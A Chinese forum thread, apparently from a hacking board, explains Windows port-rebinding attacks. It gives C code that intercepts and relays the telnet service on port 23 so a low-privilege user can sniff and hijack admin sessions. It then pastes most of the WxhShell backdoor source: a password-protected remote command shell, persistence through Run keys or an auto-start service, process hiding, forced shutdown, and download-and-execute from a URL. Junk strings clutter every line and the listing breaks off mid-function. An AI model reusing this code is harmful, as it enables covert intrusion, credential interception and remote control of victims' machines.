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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !&#CEF@J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W}(dhgf  
-'ZP_$sA  
  saddr.sin_family = AF_INET; !WDdq_n*v  
B[y1RI|9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1a%*X UT  
@^`-VF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &M<431y  
} 1c5#Ym  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F=# zy#@.  
e _,_:|t  
  这意味着什么?意味着可以进行如下的攻击: bXtA4O  
wu s]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !n !~Bw  
J| 3CG;+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) S$V'_  
i++ F&r[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k ^+h>B-;  
CVu'uyy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P^&+ehp  
~PS%^zxyn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pvcf_w`n  
F2+lwycY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ab 2 V.S  
Z^#7&Pv0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [D /q%  
]%NCKOM  
  #include 6s>PZh  
  #include AvH/Q_-b  
  #include 3):7mE(  
  #include    {>5c,L$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GY0<\-  
  int main() X~W5Z(w(O  
  { #r0A<+t{T  
  WORD wVersionRequested; !74*APPHR  
  DWORD ret; JB* *z00;  
  WSADATA wsaData; '?Hy"5gUA  
  BOOL val; ];oED?I  
  SOCKADDR_IN saddr; q-p4k`]  
  SOCKADDR_IN scaddr; V8&%fxn+  
  int err; >>&~;PG[  
  SOCKET s; C$rZn%dp(  
  SOCKET sc; l$PO!JRD  
  int caddsize; n j1 cqh  
  HANDLE mt; vChkSY([  
  DWORD tid;   .bew,92  
  wVersionRequested = MAKEWORD( 2, 2 ); %lEPFp  
  err = WSAStartup( wVersionRequested, &wsaData ); \5X34'7   
  if ( err != 0 ) { 6V!yfps)  
  printf("error!WSAStartup failed!\n"); CYG'WFvZZ  
  return -1; >uxak2nM-  
  } &a1agi7M  
  saddr.sin_family = AF_INET; -3ha LdRk6  
   IzkZ^;(N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A qE,zW  
Z=n& fsE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vFy /  
  saddr.sin_port = htons(23); h&[!CtPm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W@/D2K(  
  { Vs m06Rj{  
  printf("error!socket failed!\n"); i_f"?X;D  
  return -1; Tf*X\{"  
  } 'X{7b <  
  val = TRUE; mN*9X[ >x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u{exQ[,E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &V iIxJZ1$  
  { _d)w, ;m#  
  printf("error!setsockopt failed!\n"); J:p nmZ`X  
  return -1; pcm|  
  } oa47TqFt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Zb8i[1P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mqwN<:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u~% m(  
{h|3P/?7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a]$KI$)e  
  {  m ,qU})  
  ret=GetLastError(); Wf>UI)^n  
  printf("error!bind failed!\n"); B8;_h#^q  
  return -1; UV@<55)K  
  }  LBw,tP  
  listen(s,2); ,T"(97"  
  while(1) In:h%4>  
  { ~r&Q\G  
  caddsize = sizeof(scaddr); wf<uG|90  
  //接受连接请求 ukvz#hdE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kMN z5P  
  if(sc!=INVALID_SOCKET) :IbrV@gN{@  
  { yu3EPT!~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0Rrz   
  if(mt==NULL) )QFT$rmX  
  { cidS/OH  
  printf("Thread Creat Failed!\n"); (f $Y0;v>}  
  break; Q Gn4AW_  
  } F_\\n#bv  
  } st/Tb/  
  CloseHandle(mt); sW|u}8`  
  } nolTvqMT  
  closesocket(s); OlMCF.W#3  
  WSACleanup(); #d(6q$IE  
  return 0; LP#CA^*S  
  }   ]wdudvS@6r  
  DWORD WINAPI ClientThread(LPVOID lpParam) [Z~>7ayF+)  
  { SS(jjpe&,  
  SOCKET ss = (SOCKET)lpParam; wp.'M?6`L  
  SOCKET sc; \ 1ys2BX  
  unsigned char buf[4096]; -D38>#Y  
  SOCKADDR_IN saddr; rQN+x|dKMb  
  long num; @b-?KH  
  DWORD val; 7o0e j#  
  DWORD ret; 9Ni$nZN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \'BKI;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V +*Vi^  
  saddr.sin_family = AF_INET; 2!{CNt.-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5wP(/?sRy  
  saddr.sin_port = htons(23); 3_vggK%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -}PD0Pzg;=  
  { 9bqfZ"6nXY  
  printf("error!socket failed!\n"); TS-m^Y'R  
  return -1; oV,>u5:B  
  } HPtaW:J  
  val = 100; q+|Dm<Ug  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $?wX*  
  { {lx^57v  
  ret = GetLastError(); &..'7  
  return -1; |Z#) 1K  
  } z$%ntN#eNA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |F9/7 z\5+  
  { vA(3H/)-  
  ret = GetLastError(); TX*s T  
  return -1; k3^S^Bv\  
  } 4)Z78H%>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f<0-'fGJd  
  { nVs0$?}  
  printf("error!socket connect failed!\n"); jO!!. w  
  closesocket(sc); v<3i~a  
  closesocket(ss); L{<E'#@F  
  return -1; 7}TjOWC  
  } E83{4A4  
  while(1) HO & #Lv  
  { oAvL?2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \T<?=A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oNl_r:G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mw?,oiT,)  
  num = recv(ss,buf,4096,0); {9_CH<$W%U  
  if(num>0) WElB,a-RCp  
  send(sc,buf,num,0); g0_8:Gs}^  
  else if(num==0) wQ4/eQ*  
  break; AGPZd9  
  num = recv(sc,buf,4096,0); txTDuS  
  if(num>0) Eh8.S)E  
  send(ss,buf,num,0); 80axsU^H0  
  else if(num==0) eUx|_*`  
  break; 0'VwObq  
  } ]e)<CE2   
  closesocket(ss); L[##w?Xf.  
  closesocket(sc); '.d el7s  
  return 0 ; GZ*cV3Y`&  
  } NWv1g{M  
b[$l{RQ[?  
6W#M[0  
========================================================== 8;Yx a8ie  
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下边附上一个代码,,WXhSHELL o D:?fs]  
4 K)P Yk  
========================================================== ?w /tq!  
0j_`7<,:  
#include "stdafx.h" ks:Z=%o   
80 i<Ij8J  
#include <stdio.h> >k kuw?O@  
#include <string.h> |;Jcf3e(  
#include <windows.h> Ol D]*=.cO  
#include <winsock2.h> 3QU<vdtr  
#include <winsvc.h> {p1#H`  
#include <urlmon.h> iHWl%]7sN  
3%!d&j>v  
#pragma comment (lib, "Ws2_32.lib") f{k2sU*uBE  
#pragma comment (lib, "urlmon.lib") fh}\#WE"  
iI&J_Y{1a_  
#define MAX_USER   100 // 最大客户端连接数 !NjC+ps]  
#define BUF_SOCK   200 // sock buffer 9q;+ Al^Z  
#define KEY_BUFF   255 // 输入 buffer G W|~sE +  
|4ONGU*`E  
#define REBOOT     0   // 重启 qmv%N  
#define SHUTDOWN   1   // 关机 gtVI>D'(W  
D~U 4K-  
#define DEF_PORT   5000 // 监听端口 /wH]OD{  
:74)nbS  
#define REG_LEN     16   // 注册表键长度 I[@}+p0  
#define SVC_LEN     80   // NT服务名长度 k0!b@ c  
Nt'(JAZ;  
// 从dll定义API Q V4{=1A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \C~Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d%u|) =7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bj ZcWYT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oCXBek?\  
,*}SfCon  
// wxhshell配置信息 11Pm lzy  
struct WSCFG { 9JJ(KY  
  int ws_port;         // 监听端口 jf~/x>Q  
  char ws_passstr[REG_LEN]; // 口令 ((B7k{`  
  int ws_autoins;       // 安装标记, 1=yes 0=no u-f_,],p  
  char ws_regname[REG_LEN]; // 注册表键名  Fp'k{  
  char ws_svcname[REG_LEN]; // 服务名 BXnSkT7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {: T'2+OH>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t+|c)"\5h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 - b:&ACY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {%)bxk6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w|O MT>.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wtu WzHrF  
WIa4!\Ky!  
}; ,mx>)} l95  
TG=) KS  
// default Wxhshell configuration +DY% Y `0  
struct WSCFG wscfg={DEF_PORT, N~=p+Ow[H  
    "xuhuanlingzhe", soRt<83  
    1, c0sU1:e0  
    "Wxhshell", Nv{r`J.  
    "Wxhshell", ogtKj"a  
            "WxhShell Service", 4. 7m*  
    "Wrsky Windows CmdShell Service",  {F+7> X  
    "Please Input Your Password: ", [nZ3}o  
  1,  W>.KV7  
  "http://www.wrsky.com/wxhshell.exe", 4onRO!G,  
  "Wxhshell.exe" Gg]>S#^3  
    }; 7q&Ru|T33  
LBh|4S$K  
// 消息定义模块 8$xd;+`y'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F4xYfbwY"]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "94e-Nx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E:a_f!  
char *msg_ws_ext="\n\rExit."; y'?ksow  
char *msg_ws_end="\n\rQuit."; \DI%/(?  
char *msg_ws_boot="\n\rReboot..."; dMK| l   
char *msg_ws_poff="\n\rShutdown..."; -aK_  
char *msg_ws_down="\n\rSave to "; t :B~P,r  
80TSE*  
char *msg_ws_err="\n\rErr!"; A.8{LY;  
char *msg_ws_ok="\n\rOK!"; /GCI`hx>"  
2Dgulx5kGZ  
char ExeFile[MAX_PATH]; kTZ`RW&0  
int nUser = 0; D[yOFJ~p)  
HANDLE handles[MAX_USER]; ~xZFm  
int OsIsNt; `dO)}}| y  
A\nL(Nd  
SERVICE_STATUS       serviceStatus; Wnm?a!j5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $ lz\t e  
e"Kg/*Ji1  
// 函数声明 $9k7A 8K  
int Install(void); q$6fb)2I]e  
int Uninstall(void); IhoV80b  
int DownloadFile(char *sURL, SOCKET wsh); lO&TSPD^  
int Boot(int flag); gmtp/?>e  
void HideProc(void); 7VQ|3`!<  
int GetOsVer(void); \Jq$!foYx  
int Wxhshell(SOCKET wsl); >={?H?C  
void TalkWithClient(void *cs); <mN.6@*{  
int CmdShell(SOCKET sock); VUAW/  
int StartFromService(void); nQm7At  
int StartWxhshell(LPSTR lpCmdLine); @AET.qGC  
{/d<Jm:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M+4>l\   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hs,pY(l ^  
l-4+{6lz  
// 数据结构和表定义 n3Uw6gLD  
SERVICE_TABLE_ENTRY DispatchTable[] = i8t%v  
{ ^~\cx75D  
{wscfg.ws_svcname, NTServiceMain}, 9+><:(,  
{NULL, NULL} j_YpkKh en  
}; R{={7.As+  
<=D !/7$ O  
// 自我安装 ;>%@  
int Install(void) 9C9>V]  
{ ^I2+$  
  char svExeFile[MAX_PATH]; 3 ,;;C(  
  HKEY key; -!w({rP  
  strcpy(svExeFile,ExeFile); 7tbM~+<0  
KA^r,Iw  
// 如果是win9x系统,修改注册表设为自启动 ?VUW.-  
if(!OsIsNt) { E&js`24 &  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W%$sA}O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YK Cd:^u  
  RegCloseKey(key); J4Yu|E<&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { abAX)R'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F<R+]M:fa  
  RegCloseKey(key); V+04X"  
  return 0; M`m-@z  
    } &?[uY5Mk  
  } "}/$xOl"  
} 6yU#;|6d  
else { Lmp_8q-Ej  
 Y7q=]  
// 如果是NT以上系统,安装为系统服务 uB&um*DP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b# v+_7  
if (schSCManager!=0) Cf&.hod  
{ T-.Q  
  SC_HANDLE schService = CreateService R#8.]  
  ( =H8 LBM  
  schSCManager, qukym3F  
  wscfg.ws_svcname, I;u1mywd  
  wscfg.ws_svcdisp, Jw -?7O  
  SERVICE_ALL_ACCESS, ',>Pz+XKc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TAd~#jB9  
  SERVICE_AUTO_START, ],.1=iY  
  SERVICE_ERROR_NORMAL, O%hmGW4  
  svExeFile, ON()2@Y4  
  NULL, r0xmDJ@y  
  NULL, e"I+5r",  
  NULL, 6 +2M$3_U  
  NULL, u[Ij4h.  
  NULL >5%;NI5 G  
  ); }={TVs^  
  if (schService!=0) ZjB]pG+  
  { K*"Wq:T;B  
  CloseServiceHandle(schService); N?Nu'  
  CloseServiceHandle(schSCManager); 39!$x[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j o+-  
  strcat(svExeFile,wscfg.ws_svcname); 7k<6oM1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r9\7I7z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); igGg[I1?  
  RegCloseKey(key); k1h>8z.Tg  
  return 0; AP:(/@K|  
    } LtK= nK  
  } 7]J7'!Iz  
  CloseServiceHandle(schSCManager); $URL7hrhU  
} OZ SM2~  
} Cu\6VnW_6  
(gQr?K  
return 1; 9-`P\/  
} e'y$X;nIv  
hKjG/g:#G  
// 自我卸载 q4xP<b^  
int Uninstall(void) mD"[z}r)  
{ gXb * zt2  
  HKEY key; FdcmA22k*  
[ 11D7L%1t  
if(!OsIsNt) { ,qz:(Nr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wRj||yay#-  
  RegDeleteValue(key,wscfg.ws_regname); k x?m "a%  
  RegCloseKey(key); fvNj5Vq:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #`5>XfbmQ(  
  RegDeleteValue(key,wscfg.ws_regname); Z;"YUu[(  
  RegCloseKey(key); 7] }2`^9  
  return 0; o"19{ D^.  
  } :T9 P9<  
} `P4 3O gA  
} />0 Bm`A  
else { {yCE>F\  
Ij{ K\{y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tso\bxiU  
if (schSCManager!=0) g)**)mz[  
{ ={k_ (8]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,bRYqU?#0  
  if (schService!=0) VLP'3 qX  
  { Sdr,q9+__  
  if(DeleteService(schService)!=0) { e&\+o}S  
  CloseServiceHandle(schService); `D,mZj/b  
  CloseServiceHandle(schSCManager); }Nc Ed;  
  return 0; ?`+G0VT  
  } 9cJ1J7y  
  CloseServiceHandle(schService); t wr-+rm2  
  } 6$5?%ZLJ  
  CloseServiceHandle(schSCManager); xWuvT,^  
} p\G1O*Z  
} WMXxP gik  
i%3q*:A]2  
return 1; q}r{%ypf  
} 'mm~+hp  
VTl\'>(Cl  
// 从指定url下载文件 NxGSs_7  
int DownloadFile(char *sURL, SOCKET wsh) GS@ Zc2JPF  
{ 6=3;(2u[C"  
  HRESULT hr; o @(.4+2m  
char seps[]= "/"; m.b}A'GT  
char *token; 1>'xmp+#  
char *file; KGP*G BZr  
char myURL[MAX_PATH]; s*9lYk0  
char myFILE[MAX_PATH]; T/nG\WZbZn  
^o-)y"GJ  
strcpy(myURL,sURL); ~LU$ no^  
  token=strtok(myURL,seps); "wj~KbT}&  
  while(token!=NULL) H9Dw#.em  
  { CYn56eRK  
    file=token; 1F]jy  
  token=strtok(NULL,seps); + :;6kyM6X  
  } kVY 0 E  
*Kmo1>^  
GetCurrentDirectory(MAX_PATH,myFILE); tpj6AMO/`d  
strcat(myFILE, "\\"); ltg\x8w?c  
strcat(myFILE, file); z>A;|iL  
  send(wsh,myFILE,strlen(myFILE),0); WCL#3uYk"  
send(wsh,"...",3,0); M}\p/r=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K]H [A,  
  if(hr==S_OK) m;oCi }fL  
return 0; *OU&`\bmE  
else fI"OzIJV  
return 1; Prqr,  
)>r sX)  
} |h%0)_  
s#4Q?<65u  
// 系统电源模块 )=Ens=>Z  
int Boot(int flag) ^CfWLL& c  
{ #'fQx`LV  
  HANDLE hToken; 0kxe5*-|  
  TOKEN_PRIVILEGES tkp; +T8]R7b9  
B"3uuk8  
  if(OsIsNt) { P,*yuF|bk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j%ux,0Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H|I.h{:  
    tkp.PrivilegeCount = 1; n<3{QqF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +Cs.v.GA5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `^'0__<M  
if(flag==REBOOT) { AVi,+n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @M=\u-jJ.  
  return 0; ~^v*f   
} / 0y5/  
else { ?, oE_H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oA`G\Xh_E  
  return 0;  XM<  
} -}KW"#9c  
  } _[{oK G^u  
  else { _64<[2  
if(flag==REBOOT) { G`R_kg9$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l *]nvd_  
  return 0; 3}x6IM 2  
} RWdx) qj{  
else { ^Kj xQO6y3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :~LOw}N!aQ  
  return 0; Po7oo9d  
} )Kg _E6  
} m?O"LGBB =  
x%OJ3Qjj=  
return 1; )vy_m_f&  
} sZ%wQqy~k  
{PS|q?  
// win9x进程隐藏模块 \$Aw[ 5&t  
void HideProc(void) m4 :"c"  
{ IvJ5J&!  
Cg&:+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~09kIO)  
  if ( hKernel != NULL ) Hr!%L*h?  
  { 5Tiap8x+<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m?]= =9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '=1@,Skj-  
    FreeLibrary(hKernel); y7-dae k  
  } OJ,Z  
TF-a 1z  
return; mExJ--}  
} #bCzWg  
n$E'+kox  
// 获取操作系统版本 17S<6j#H5  
int GetOsVer(void) ?X3uPj9if  
{ (F'?c1  
  OSVERSIONINFO winfo; 6;p"xC-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *#c^.4$'  
  GetVersionEx(&winfo); #p/'5lA&j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %40+si3c  
  return 1; (&xIB F_6  
  else tN-B`d 1  
  return 0; 7-2,|(Xg  
} <-N7Skkk!  
&D#B"XI  
// 客户端句柄模块 yYPFk  
int Wxhshell(SOCKET wsl) g{^(EZ,  
{ C0-,<X  
  SOCKET wsh; ;;<[_gp,E  
  struct sockaddr_in client; >IEc4  
  DWORD myID; zD): yEc  
\5R>+[n!  
  while(nUser<MAX_USER) KK41I 8Mw  
{ 2X|nPhNi  
  int nSize=sizeof(client);  H;Cv] -  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k*o>ZpjNH  
  if(wsh==INVALID_SOCKET) return 1; 2br~Vn0N  
% QI6`@Y"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )d7U3i  
if(handles[nUser]==0) #b+>O+vx8  
  closesocket(wsh); &d i=alvv1  
else g0 Jy:`M  
  nUser++; z:p9&mi  
  } U?(+ {4l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rv@( [rn+  
A =l1_8,`h  
  return 0; SS"Z>talw  
} 5gH'CzU?  
m"tke'a  
// 关闭 socket L0>w|LpRc  
void CloseIt(SOCKET wsh) nWsR;~pK  
{ (m& ''yaH  
closesocket(wsh); :my@Oxx4@  
nUser--; cDqj&:$e  
ExitThread(0); 66MWOrr  
} 0]MI*s>&  
y>|AX/n  
// 客户端请求句柄 9Lqo^+0)\  
void TalkWithClient(void *cs) D[bPm:\0M  
{ iYb{qv_4  
avEsX_.  
  SOCKET wsh=(SOCKET)cs; !)h?2#V8;  
  char pwd[SVC_LEN]; +8|r_z\A5a  
  char cmd[KEY_BUFF]; I oFtfb[  
char chr[1]; vC_O! 2E  
int i,j; i=j4Wg,{J  
.p /VRlLU  
  while (nUser < MAX_USER) { +e( (!  
} f+hB  
if(wscfg.ws_passstr) { ,7*-%05[\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )kK" 1\m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8b:\@]g$  
  //ZeroMemory(pwd,KEY_BUFF); wm s@1~I  
      i=0; rK r2 K'  
  while(i<SVC_LEN) { IXt cHAgX  
UCS`09KNJ  
  // 设置超时 DY!mq91  
  fd_set FdRead;  9Li.B1j  
  struct timeval TimeOut; _~_6qTv-d  
  FD_ZERO(&FdRead); WDQw)EUl&  
  FD_SET(wsh,&FdRead); iBPx97a  
  TimeOut.tv_sec=8; dxF/]>t  
  TimeOut.tv_usec=0; I<L<xwh1(E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uc-Go 6W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }*3#*y "  
a#i%7mfn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?*A"#0  
  pwd=chr[0]; O!.mc=Gx7  
  if(chr[0]==0xd || chr[0]==0xa) { 3:G94cp5  
  pwd=0; kU$M 8J.  
  break; j aq/]I7  
  }  =[G)  
  i++; uq_h8JH$  
    } R22P ol  
Mq2[^l!qu  
  // 如果是非法用户,关闭 socket :z}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XqK\'8]\Mw  
} }t9A#GOz  
V0'_PR@;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]z_C7Y"4BR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >m&r,z  
?L~Z]+-  
while(1) { Il,^/qvIY  
Zfn390_  
  ZeroMemory(cmd,KEY_BUFF); {glRX R  
Afq?Ps+  
      // 自动支持客户端 telnet标准   ."\&;:ZNv  
  j=0; <6)  w  
  while(j<KEY_BUFF) { t(F] -[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 60St99@O  
  cmd[j]=chr[0]; l\Or.I7n  
  if(chr[0]==0xa || chr[0]==0xd) { B)`^/^7  
  cmd[j]=0; i&dMX:fRd  
  break; hSyA;*)U  
  } hV4\#K[  
  j++; .+TriPL  
    } 3U73_=>=&  
Ood'kAH1B  
  // 下载文件 \XXS;  
  if(strstr(cmd,"http://")) { )wwQv2E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [F< Tl =  
  if(DownloadFile(cmd,wsh)) KGI0|Z]n~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'hM?J*m  
  else zu Jl #3YP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t"@: a Y"  
  } n|oAfJUk,  
  else { @#%rTKD9F  
"wPFQXU  
    switch(cmd[0]) { a+CHrnU\;  
  fYzOT, c  
  // 帮助 F" -w  
  case '?': { 2 S\~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |ei?s1)  
    break; aQEMCWxZ  
  } J0U9zI4  
  // 安装 +{j? +4(B  
  case 'i': { 43;@m}|7$  
    if(Install()) _r}oYs%1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )oSUhU26}  
    else 3 9Ql|l$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fFfH9cl!  
    break; 2>l:: 8Pp  
    } !$>d75zli  
  // 卸载 2dr[0tE  
  case 'r': { y/m^G=Q6g#  
    if(Uninstall())  |Aw(v6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F` ifHO  
    else o 2 5kFD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x hFQjV?V  
    break; *My?l75  
    } 3d.JV'C'c  
  // 显示 wxhshell 所在路径 C'hI{4@P  
  case 'p': { _|ucC$*  
    char svExeFile[MAX_PATH]; WRJ+l_81  
    strcpy(svExeFile,"\n\r"); ?zKVXK7}0  
      strcat(svExeFile,ExeFile); nzTzc5 w  
        send(wsh,svExeFile,strlen(svExeFile),0); 9_rNJLj8y  
    break; pQxaT$  
    } =De%]]>   
  // 重启 g]V}azLr  
  case 'b': { ZpHT2-baVe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X?b]5?K;r  
    if(Boot(REBOOT)) Z3G>DF:$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SPIYB/C  
    else { @\_ tS H  
    closesocket(wsh); ih?_ fW  
    ExitThread(0); ~u&3Ki*x  
    } ctOC.  
    break; 6-#f1D 6  
    } k3[ ~I'  
  // 关机 yg "u^*r&  
  case 'd': { &G@*/2A  
